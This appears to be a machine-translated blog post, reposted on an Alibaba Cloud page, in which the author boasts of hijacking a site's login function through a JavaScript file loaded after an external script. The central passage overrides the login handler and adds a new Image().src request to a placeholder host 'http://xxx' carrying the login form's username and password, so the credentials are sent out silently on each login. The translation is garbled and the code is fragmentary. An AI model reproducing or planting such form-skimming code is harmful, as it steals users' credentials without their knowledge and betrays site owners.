Js Code alternative hijacking login form, js alternative hijacking form

Source: Internet
Author: User

Js Code alternative hijacking login form, js alternative hijacking form

Where is the alternative? In other words, an external js is provided on the page to hijack the login function, and I can modify the js below it (the only one, and it is useless ).

The Code in that js uses jQuery to replace the function login of the web page that is then loaded with its own function.

==========

My permissions: I can modify a js under that external js. fate, but I can do that.

--------------------------

I am very fond of js. In this case, I can make full use of it. I completely copied the js content that I can control to the external js content,

Since my js is loaded after the external js, the modified function is actually called.

Remember? The external js hijacked the login function of the web page (for the time being, it is called to replace the login function with its own A function. This has some other purposes, which makes it easier for me to copy ), this function is used to check whether the user name and password of the form are empty.

That's great. Now my js function A really replaces the login function, so I add A new Image () to function ()). src = 'HTTP: // xxx "+ document. loginForm. yh + document. loginForm. mm;

Oh, yeh. After clicking the login button, the user name and password are sent quietly.


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.